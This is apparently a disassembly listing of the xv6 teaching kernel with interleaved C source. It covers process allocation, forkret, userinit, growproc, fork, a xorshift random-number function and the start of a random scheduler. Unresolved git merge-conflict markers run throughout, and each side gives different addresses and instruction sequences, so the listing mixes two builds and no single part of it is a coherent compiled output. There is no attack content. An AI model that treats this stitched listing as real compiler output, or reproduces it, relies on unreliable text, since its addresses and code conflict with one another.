80103659: 74 7d je 801036d8 <allocproc+0xa8>
if(p->state == UNUSED)
8010365b: 8b 43 0c mov 0xc(%ebx),%eax
8010365e: 85 c0 test %eax,%eax
80103660: 75 ee jne 80103650 <allocproc+0x20>
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
p->pid = nextpid++;
80103662: a1 08 a0 10 80 mov 0x8010a008,%eax
release(&ptable.lock);
80103667: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
8010366e: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx)
p->pid = nextpid++;
80103675: 8d 50 01 lea 0x1(%eax),%edx
80103678: 89 15 08 a0 10 80 mov %edx,0x8010a008
8010367e: 89 43 10 mov %eax,0x10(%ebx)
release(&ptable.lock);
<<<<<<< HEAD
80103792: e8 59 0f 00 00 call 801046f0 <release>
=======
80103681: e8 2a 0e 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
80103686: e8 05 ee ff ff call 80102490 <kalloc>
8010368b: 85 c0 test %eax,%eax
8010368d: 89 43 08 mov %eax,0x8(%ebx)
80103690: 74 5a je 801036ec <allocproc+0xbc>
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
80103692: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
80103698: 05 9c 0f 00 00 add $0xf9c,%eax
return 0;
}
sp = p->kstack + KSTACKSIZE;
// Leave room for trap frame.
sp -= sizeof *p->tf;
8010369d: 89 53 18 mov %edx,0x18(%ebx)
p->tf = (struct trapframe*)sp;
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
<<<<<<< HEAD
801037b7: c7 40 14 9e 5a 10 80 movl $0x80105a9e,0x14(%eax)
=======
801036a0: c7 40 14 3d 58 10 80 movl $0x8010583d,0x14(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
sp -= sizeof *p->context;
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
801036a7: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
801036ae: 00
801036af: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801036b6: 00
801036b7: 89 04 24 mov %eax,(%esp)
// which returns to trapret.
sp -= 4;
*(uint*)sp = (uint)trapret;
sp -= sizeof *p->context;
p->context = (struct context*)sp;
801036ba: 89 43 1c mov %eax,0x1c(%ebx)
memset(p->context, 0, sizeof *p->context);
<<<<<<< HEAD
801037c6: e8 75 0f 00 00 call 80104740 <memset>
=======
801036bd: e8 3e 0e 00 00 call 80104500 <memset>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
p->context->eip = (uint)forkret;
801036c2: 8b 43 1c mov 0x1c(%ebx),%eax
801036c5: c7 40 10 00 37 10 80 movl $0x80103700,0x10(%eax)
return p;
801036cc: 89 d8 mov %ebx,%eax
}
801036ce: 83 c4 14 add $0x14,%esp
801036d1: 5b pop %ebx
801036d2: 5d pop %ebp
801036d3: c3 ret
801036d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
801036d8: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
801036df: e8 cc 0d 00 00 call 801044b0 <release>
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
p->context->eip = (uint)forkret;
return p;
}
801036e4: 83 c4 14 add $0x14,%esp
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
<<<<<<< HEAD
801037e0: 83 ec 0c sub $0xc,%esp
801037e3: 68 a0 2d 11 80 push $0x80112da0
801037e8: e8 03 0f 00 00 call 801046f0 <release>
=======
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return 0;
801036e7: 31 c0 xor %eax,%eax
p->context = (struct context*)sp;
memset(p->context, 0, sizeof *p->context);
p->context->eip = (uint)forkret;
return p;
}
801036e9: 5b pop %ebx
801036ea: 5d pop %ebp
801036eb: c3 ret
release(&ptable.lock);
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
p->state = UNUSED;
801036ec: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return 0;
801036f3: eb d9 jmp 801036ce <allocproc+0x9e>
801036f5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801036f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103700 <forkret>:
// A fork child's very first scheduling by scheduler()
// will swtch here. "Return" to user space.
void
forkret(void)
{
80103700: 55 push %ebp
80103701: 89 e5 mov %esp,%ebp
80103703: 83 ec 18 sub $0x18,%esp
static int first = 1;
// Still holding ptable.lock from scheduler.
release(&ptable.lock);
<<<<<<< HEAD
80103806: 68 a0 2d 11 80 push $0x80112da0
8010380b: e8 e0 0e 00 00 call 801046f0 <release>
=======
80103706: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
8010370d: e8 9e 0d 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if (first) {
80103712: a1 04 a0 10 80 mov 0x8010a004,%eax
80103717: 85 c0 test %eax,%eax
80103719: 75 05 jne 80103720 <forkret+0x20>
iinit(ROOTDEV);
initlog(ROOTDEV);
}
// Return to "caller", actually trapret (see allocproc).
}
8010371b: c9 leave
8010371c: c3 ret
8010371d: 8d 76 00 lea 0x0(%esi),%esi
if (first) {
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
iinit(ROOTDEV);
80103720: c7 04 24 01 00 00 00 movl $0x1,(%esp)
if (first) {
// Some initialization functions must be run in the context
// of a regular process (e.g., they call sleep), and thus cannot
// be run from main().
first = 0;
80103727: c7 05 04 a0 10 80 00 movl $0x0,0x8010a004
8010372e: 00 00 00
iinit(ROOTDEV);
80103731: e8 3a dd ff ff call 80101470 <iinit>
initlog(ROOTDEV);
80103736: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010373d: e8 9e f3 ff ff call 80102ae0 <initlog>
}
// Return to "caller", actually trapret (see allocproc).
}
80103742: c9 leave
80103743: c3 ret
80103744: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010374a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103750 <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
80103750: 55 push %ebp
80103751: 89 e5 mov %esp,%ebp
80103753: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
<<<<<<< HEAD
80103856: 68 8d 78 10 80 push $0x8010788d
8010385b: 68 a0 2d 11 80 push $0x80112da0
80103860: e8 8b 0c 00 00 call 801044f0 <initlock>
=======
80103756: c7 44 24 04 0d 76 10 movl $0x8010760d,0x4(%esp)
8010375d: 80
8010375e: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103765: e8 96 0b 00 00 call 80104300 <initlock>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
8010376a: c9 leave
8010376b: c3 ret
8010376c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80103770 <userinit>:
//PAGEBREAK: 32
// Set up first user process.
void
userinit(void)
{
80103770: 55 push %ebp
80103771: 89 e5 mov %esp,%ebp
80103773: 53 push %ebx
80103774: 83 ec 14 sub $0x14,%esp
struct proc *p;
extern char _binary_initcode_start[], _binary_initcode_size[];
p = allocproc();
<<<<<<< HEAD
80103877: e8 c4 fe ff ff call 80103740 <allocproc>
8010387c: 89 c3 mov %eax,%ebx
initproc = p;
8010387e: a3 bc a5 10 80 mov %eax,0x8010a5bc
if((p->pgdir = setupkvm()) == 0)
80103883: e8 48 34 00 00 call 80106cd0 <setupkvm>
80103888: 85 c0 test %eax,%eax
8010388a: 89 43 04 mov %eax,0x4(%ebx)
8010388d: 0f 84 bd 00 00 00 je 80103950 <userinit+0xe0>
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
80103893: 83 ec 04 sub $0x4,%esp
80103896: 68 2c 00 00 00 push $0x2c
8010389b: 68 60 a4 10 80 push $0x8010a460
801038a0: 50 push %eax
801038a1: e8 aa 35 00 00 call 80106e50 <inituvm>
p->sz = PGSIZE;
memset(p->tf, 0, sizeof(*p->tf));
801038a6: 83 c4 0c add $0xc,%esp
=======
80103777: e8 b4 fe ff ff call 80103630 <allocproc>
8010377c: 89 c3 mov %eax,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
initproc = p;
8010377e: a3 bc a5 10 80 mov %eax,0x8010a5bc
if((p->pgdir = setupkvm()) == 0)
80103783: e8 c8 32 00 00 call 80106a50 <setupkvm>
80103788: 85 c0 test %eax,%eax
8010378a: 89 43 04 mov %eax,0x4(%ebx)
8010378d: 0f 84 d4 00 00 00 je 80103867 <userinit+0xf7>
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
80103793: 89 04 24 mov %eax,(%esp)
80103796: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp)
8010379d: 00
8010379e: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp)
801037a5: 80
801037a6: e8 25 34 00 00 call 80106bd0 <inituvm>
p->sz = PGSIZE;
801037ab: c7 03 00 10 00 00 movl $0x1000,(%ebx)
memset(p->tf, 0, sizeof(*p->tf));
<<<<<<< HEAD
801038af: 6a 4c push $0x4c
801038b1: 6a 00 push $0x0
801038b3: ff 73 18 pushl 0x18(%ebx)
801038b6: e8 85 0e 00 00 call 80104740 <memset>
=======
801037b1: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp)
801037b8: 00
801037b9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801037c0: 00
801037c1: 8b 43 18 mov 0x18(%ebx),%eax
801037c4: 89 04 24 mov %eax,(%esp)
801037c7: e8 34 0d 00 00 call 80104500 <memset>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
801037cc: 8b 43 18 mov 0x18(%ebx),%eax
801037cf: ba 23 00 00 00 mov $0x23,%edx
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801037d4: b9 2b 00 00 00 mov $0x2b,%ecx
if((p->pgdir = setupkvm()) == 0)
panic("userinit: out of memory?");
inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size);
p->sz = PGSIZE;
memset(p->tf, 0, sizeof(*p->tf));
p->tf->cs = (SEG_UCODE << 3) | DPL_USER;
801037d9: 66 89 50 3c mov %dx,0x3c(%eax)
p->tf->ds = (SEG_UDATA << 3) | DPL_USER;
801037dd: 8b 43 18 mov 0x18(%ebx),%eax
801037e0: 66 89 48 2c mov %cx,0x2c(%eax)
p->tf->es = p->tf->ds;
801037e4: 8b 43 18 mov 0x18(%ebx),%eax
801037e7: 0f b7 50 2c movzwl 0x2c(%eax),%edx
801037eb: 66 89 50 28 mov %dx,0x28(%eax)
p->tf->ss = p->tf->ds;
801037ef: 8b 43 18 mov 0x18(%ebx),%eax
801037f2: 0f b7 50 2c movzwl 0x2c(%eax),%edx
801037f6: 66 89 50 48 mov %dx,0x48(%eax)
p->tf->eflags = FL_IF;
801037fa: 8b 43 18 mov 0x18(%ebx),%eax
801037fd: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax)
p->tf->esp = PGSIZE;
80103804: 8b 43 18 mov 0x18(%ebx),%eax
80103807: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax)
p->tf->eip = 0; // beginning of initcode.S
8010380e: 8b 43 18 mov 0x18(%ebx),%eax
80103811: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax)
safestrcpy(p->name, "initcode", sizeof(p->name));
<<<<<<< HEAD
8010390a: 8d 43 6c lea 0x6c(%ebx),%eax
8010390d: 6a 10 push $0x10
8010390f: 68 ad 78 10 80 push $0x801078ad
80103914: 50 push %eax
80103915: e8 26 10 00 00 call 80104940 <safestrcpy>
p->cwd = namei("/");
8010391a: c7 04 24 b6 78 10 80 movl $0x801078b6,(%esp)
80103921: e8 5a e5 ff ff call 80101e80 <namei>
80103926: 89 43 68 mov %eax,0x68(%ebx)
=======
80103818: 8d 43 6c lea 0x6c(%ebx),%eax
8010381b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80103822: 00
80103823: c7 44 24 04 2d 76 10 movl $0x8010762d,0x4(%esp)
8010382a: 80
8010382b: 89 04 24 mov %eax,(%esp)
8010382e: e8 ad 0e 00 00 call 801046e0 <safestrcpy>
p->cwd = namei("/");
80103833: c7 04 24 36 76 10 80 movl $0x80107636,(%esp)
8010383a: e8 a1 e6 ff ff call 80101ee0 <namei>
8010383f: 89 43 68 mov %eax,0x68(%ebx)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// this assignment to p->state lets other cores
// run this process. the acquire forces the above
// writes to be visible, and the lock is also needed
// because the assignment might not be atomic.
acquire(&ptable.lock);
<<<<<<< HEAD
80103929: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103930: e8 db 0b 00 00 call 80104510 <acquire>
=======
80103842: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103849: e8 32 0b 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
p->state = RUNNABLE;
8010384e: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
<<<<<<< HEAD
8010393c: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103943: e8 a8 0d 00 00 call 801046f0 <release>
=======
80103855: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
8010385c: e8 4f 0c 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
80103861: 83 c4 14 add $0x14,%esp
80103864: 5b pop %ebx
80103865: 5d pop %ebp
80103866: c3 ret
p = allocproc();
initproc = p;
if((p->pgdir = setupkvm()) == 0)
panic("userinit: out of memory?");
<<<<<<< HEAD
80103950: 83 ec 0c sub $0xc,%esp
80103953: 68 94 78 10 80 push $0x80107894
80103958: e8 13 ca ff ff call 80100370 <panic>
8010395d: 8d 76 00 lea 0x0(%esi),%esi
=======
80103867: c7 04 24 14 76 10 80 movl $0x80107614,(%esp)
8010386e: e8 ed ca ff ff call 80100360 <panic>
80103873: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103879: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80103880 <growproc>:
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
80103880: 55 push %ebp
80103881: 89 e5 mov %esp,%ebp
80103883: 83 ec 18 sub $0x18,%esp
uint sz;
sz = proc->sz;
80103886: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
// Grow current process's memory by n bytes.
// Return 0 on success, -1 on failure.
int
growproc(int n)
{
8010388d: 8b 4d 08 mov 0x8(%ebp),%ecx
uint sz;
sz = proc->sz;
80103890: 8b 02 mov (%edx),%eax
if(n > 0){
80103892: 83 f9 00 cmp $0x0,%ecx
80103895: 7e 39 jle 801038d0 <growproc+0x50>
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
<<<<<<< HEAD
80103977: 83 ec 04 sub $0x4,%esp
8010397a: 01 c1 add %eax,%ecx
8010397c: 51 push %ecx
8010397d: 50 push %eax
8010397e: ff 72 04 pushl 0x4(%edx)
80103981: e8 0a 36 00 00 call 80106f90 <allocuvm>
80103986: 83 c4 10 add $0x10,%esp
80103989: 85 c0 test %eax,%eax
8010398b: 74 3b je 801039c8 <growproc+0x68>
8010398d: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
=======
80103897: 01 c1 add %eax,%ecx
80103899: 89 4c 24 08 mov %ecx,0x8(%esp)
8010389d: 89 44 24 04 mov %eax,0x4(%esp)
801038a1: 8b 42 04 mov 0x4(%edx),%eax
801038a4: 89 04 24 mov %eax,(%esp)
801038a7: e8 64 34 00 00 call 80106d10 <allocuvm>
801038ac: 85 c0 test %eax,%eax
801038ae: 74 40 je 801038f0 <growproc+0x70>
801038b0: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return -1;
} else if(n < 0){
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
return -1;
}
proc->sz = sz;
801038b7: 89 02 mov %eax,(%edx)
switchuvm(proc);
<<<<<<< HEAD
80103996: 83 ec 0c sub $0xc,%esp
80103999: 65 ff 35 04 00 00 00 pushl %gs:0x4
801039a0: e8 db 33 00 00 call 80106d80 <switchuvm>
=======
801038b9: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801038bf: 89 04 24 mov %eax,(%esp)
801038c2: e8 39 32 00 00 call 80106b00 <switchuvm>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return 0;
801038c7: 31 c0 xor %eax,%eax
}
801038c9: c9 leave
801038ca: c3 ret
801038cb: 90 nop
801038cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sz = proc->sz;
if(n > 0){
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
return -1;
} else if(n < 0){
801038d0: 74 e5 je 801038b7 <growproc+0x37>
if((sz = deallocuvm(proc->pgdir, sz, sz + n)) == 0)
<<<<<<< HEAD
801039b2: 83 ec 04 sub $0x4,%esp
801039b5: 01 c1 add %eax,%ecx
801039b7: 51 push %ecx
801039b8: 50 push %eax
801039b9: ff 72 04 pushl 0x4(%edx)
801039bc: e8 cf 36 00 00 call 80107090 <deallocuvm>
801039c1: 83 c4 10 add $0x10,%esp
801039c4: 85 c0 test %eax,%eax
801039c6: 75 c5 jne 8010398d <growproc+0x2d>
=======
801038d2: 01 c1 add %eax,%ecx
801038d4: 89 4c 24 08 mov %ecx,0x8(%esp)
801038d8: 89 44 24 04 mov %eax,0x4(%esp)
801038dc: 8b 42 04 mov 0x4(%edx),%eax
801038df: 89 04 24 mov %eax,(%esp)
801038e2: e8 29 35 00 00 call 80106e10 <deallocuvm>
801038e7: 85 c0 test %eax,%eax
801038e9: 75 c5 jne 801038b0 <growproc+0x30>
801038eb: 90 nop
801038ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
uint sz;
sz = proc->sz;
if(n > 0){
if((sz = allocuvm(proc->pgdir, sz, sz + n)) == 0)
return -1;
801038f0: b8 ff ff ff ff mov $0xffffffff,%eax
return -1;
}
proc->sz = sz;
switchuvm(proc);
return 0;
}
801038f5: c9 leave
801038f6: c3 ret
801038f7: 89 f6 mov %esi,%esi
801038f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103900 <fork>:
// Create a new process copying p as the parent.
// Sets up stack to return as if from system call.
// Caller must set state of returned proc to RUNNABLE.
int
fork(void)
{
80103900: 55 push %ebp
80103901: 89 e5 mov %esp,%ebp
80103903: 57 push %edi
80103904: 56 push %esi
80103905: 53 push %ebx
80103906: 83 ec 1c sub $0x1c,%esp
int i, pid;
struct proc *np;
// Allocate process.
if((np = allocproc()) == 0){
80103909: e8 22 fd ff ff call 80103630 <allocproc>
8010390e: 85 c0 test %eax,%eax
80103910: 89 c3 mov %eax,%ebx
80103912: 0f 84 d5 00 00 00 je 801039ed <fork+0xed>
return -1;
}
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
<<<<<<< HEAD
801039e8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801039ee: 83 ec 08 sub $0x8,%esp
801039f1: ff 30 pushl (%eax)
801039f3: ff 70 04 pushl 0x4(%eax)
801039f6: e8 75 37 00 00 call 80107170 <copyuvm>
801039fb: 83 c4 10 add $0x10,%esp
801039fe: 85 c0 test %eax,%eax
80103a00: 89 43 04 mov %eax,0x4(%ebx)
80103a03: 0f 84 ba 00 00 00 je 80103ac3 <fork+0xf3>
=======
80103918: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010391e: 8b 10 mov (%eax),%edx
80103920: 89 54 24 04 mov %edx,0x4(%esp)
80103924: 8b 40 04 mov 0x4(%eax),%eax
80103927: 89 04 24 mov %eax,(%esp)
8010392a: e8 c1 35 00 00 call 80106ef0 <copyuvm>
8010392f: 85 c0 test %eax,%eax
80103931: 89 43 04 mov %eax,0x4(%ebx)
80103934: 0f 84 ba 00 00 00 je 801039f4 <fork+0xf4>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
kfree(np->kstack);
np->kstack = 0;
np->state = UNUSED;
return -1;
}
np->sz = proc->sz;
8010393a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
np->parent = proc;
*np->tf = *proc->tf;
80103940: b9 13 00 00 00 mov $0x13,%ecx
80103945: 8b 7b 18 mov 0x18(%ebx),%edi
kfree(np->kstack);
np->kstack = 0;
np->state = UNUSED;
return -1;
}
np->sz = proc->sz;
80103948: 8b 00 mov (%eax),%eax
8010394a: 89 03 mov %eax,(%ebx)
np->parent = proc;
8010394c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103952: 89 43 14 mov %eax,0x14(%ebx)
*np->tf = *proc->tf;
80103955: 8b 70 18 mov 0x18(%eax),%esi
80103958: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
8010395a: 31 f6 xor %esi,%esi
np->sz = proc->sz;
np->parent = proc;
*np->tf = *proc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
8010395c: 8b 43 18 mov 0x18(%ebx),%eax
8010395f: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80103966: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax)
8010396d: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < NOFILE; i++)
if(proc->ofile[i])
80103970: 8b 44 b2 28 mov 0x28(%edx,%esi,4),%eax
80103974: 85 c0 test %eax,%eax
80103976: 74 13 je 8010398b <fork+0x8b>
np->ofile[i] = filedup(proc->ofile[i]);
80103978: 89 04 24 mov %eax,(%esp)
8010397b: e8 50 d4 ff ff call 80100dd0 <filedup>
80103980: 89 44 b3 28 mov %eax,0x28(%ebx,%esi,4)
80103984: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
*np->tf = *proc->tf;
// Clear %eax so that fork returns 0 in the child.
np->tf->eax = 0;
for(i = 0; i < NOFILE; i++)
8010398b: 83 c6 01 add $0x1,%esi
8010398e: 83 fe 10 cmp $0x10,%esi
80103991: 75 dd jne 80103970 <fork+0x70>
if(proc->ofile[i])
np->ofile[i] = filedup(proc->ofile[i]);
np->cwd = idup(proc->cwd);
80103993: 8b 42 68 mov 0x68(%edx),%eax
80103996: 89 04 24 mov %eax,(%esp)
80103999: e8 e2 dc ff ff call 80101680 <idup>
8010399e: 89 43 68 mov %eax,0x68(%ebx)
safestrcpy(np->name, proc->name, sizeof(proc->name));
<<<<<<< HEAD
80103a75: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80103a7b: 83 c4 0c add $0xc,%esp
80103a7e: 6a 10 push $0x10
80103a80: 83 c0 6c add $0x6c,%eax
80103a83: 50 push %eax
80103a84: 8d 43 6c lea 0x6c(%ebx),%eax
80103a87: 50 push %eax
80103a88: e8 b3 0e 00 00 call 80104940 <safestrcpy>
=======
801039a1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801039a7: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
801039ae: 00
801039af: 83 c0 6c add $0x6c,%eax
801039b2: 89 44 24 04 mov %eax,0x4(%esp)
801039b6: 8d 43 6c lea 0x6c(%ebx),%eax
801039b9: 89 04 24 mov %eax,(%esp)
801039bc: e8 1f 0d 00 00 call 801046e0 <safestrcpy>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
pid = np->pid;
801039c1: 8b 73 10 mov 0x10(%ebx),%esi
acquire(&ptable.lock);
<<<<<<< HEAD
80103a90: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103a97: e8 74 0a 00 00 call 80104510 <acquire>
=======
801039c4: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
801039cb: e8 b0 09 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
np->state = RUNNABLE;
801039d0: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx)
release(&ptable.lock);
<<<<<<< HEAD
80103aa3: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
80103aaa: e8 41 0c 00 00 call 801046f0 <release>
=======
801039d7: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
801039de: e8 cd 0a 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return pid;
801039e3: 89 f0 mov %esi,%eax
}
801039e5: 83 c4 1c add $0x1c,%esp
801039e8: 5b pop %ebx
801039e9: 5e pop %esi
801039ea: 5f pop %edi
801039eb: 5d pop %ebp
801039ec: c3 ret
int i, pid;
struct proc *np;
// Allocate process.
if((np = allocproc()) == 0){
return -1;
801039ed: b8 ff ff ff ff mov $0xffffffff,%eax
801039f2: eb f1 jmp 801039e5 <fork+0xe5>
}
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
kfree(np->kstack);
801039f4: 8b 43 08 mov 0x8(%ebx),%eax
801039f7: 89 04 24 mov %eax,(%esp)
801039fa: e8 e1 e8 ff ff call 801022e0 <kfree>
np->kstack = 0;
np->state = UNUSED;
return -1;
801039ff: b8 ff ff ff ff mov $0xffffffff,%eax
}
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
kfree(np->kstack);
np->kstack = 0;
80103a04: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
np->state = UNUSED;
80103a0b: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
return -1;
80103a12: eb d1 jmp 801039e5 <fork+0xe5>
80103a14: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103a1a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103a20 <random>:
//c=28411;
//m=ticks;
//seed=((a*seed+c)%134456);
//x=seed%n;
//release(&tickslock);
uint x=seed;
80103a20: 8b 15 0c a0 10 80 mov 0x8010a00c,%edx
sleep(proc, &ptable.lock); //DOC: wait-sleep
}
}
int random(int n)//random number generator
{
80103a26: 55 push %ebp
80103a27: 89 e5 mov %esp,%ebp
//m=ticks;
//seed=((a*seed+c)%134456);
//x=seed%n;
//release(&tickslock);
uint x=seed;
x ^=x<<13;
80103a29: 89 d0 mov %edx,%eax
80103a2b: c1 e0 0d shl $0xd,%eax
80103a2e: 31 d0 xor %edx,%eax
x ^=x>>17;
80103a30: 89 c2 mov %eax,%edx
80103a32: c1 ea 11 shr $0x11,%edx
80103a35: 31 c2 xor %eax,%edx
x ^=x<<5;
80103a37: 89 d0 mov %edx,%eax
80103a39: c1 e0 05 shl $0x5,%eax
80103a3c: 31 d0 xor %edx,%eax
seed=x;
x=x%n;
80103a3e: 31 d2 xor %edx,%edx
//release(&tickslock);
uint x=seed;
x ^=x<<13;
x ^=x>>17;
x ^=x<<5;
seed=x;
80103a40: a3 0c a0 10 80 mov %eax,0x8010a00c
x=x%n;
80103a45: f7 75 08 divl 0x8(%ebp)
return x+1;
}
80103a48: 5d pop %ebp
x ^=x<<13;
x ^=x>>17;
x ^=x<<5;
seed=x;
x=x%n;
return x+1;
80103a49: 8d 42 01 lea 0x1(%edx),%eax
}
80103a4c: c3 ret
80103a4d: 8d 76 00 lea 0x0(%esi),%esi
<<<<<<< HEAD
80103b20 <scheduler_random>:
=======
80103a50 <scheduler>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// random scheduler
void
scheduler_random(void)
{
80103a50: 55 push %ebp
80103a51: 89 e5 mov %esp,%ebp
80103a53: 56 push %esi
80103a54: 53 push %ebx
80103a55: 83 ec 10 sub $0x10,%esp
}
static inline void
sti(void)
{
asm volatile("sti");
80103a58: fb sti
for(;;){
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
80103a59: c7 04 24 a0 2d 11 80 movl $0x80112da0,(%esp)
x123=random(NPROC);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80103a60: bb d4 2d 11 80 mov $0x80112dd4,%ebx
for(;;){
// Enable interrupts on this processor.
sti();
// Loop over process table looking for process to run.
acquire(&ptable.lock);
<<<<<<< HEAD
80103b31: 68 a0 2d 11 80 push $0x80112da0
80103b36: e8 d5 09 00 00 call 80104510 <acquire>
=======
80103a65: e8 16 09 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//c=28411;
//m=ticks;
//seed=((a*seed+c)%134456);
//x=seed%n;
//release(&tickslock);
uint x=seed;
80103a6a: 8b 15 0c a0 10 80 mov 0x8010a00c,%edx
x ^=x<<13;
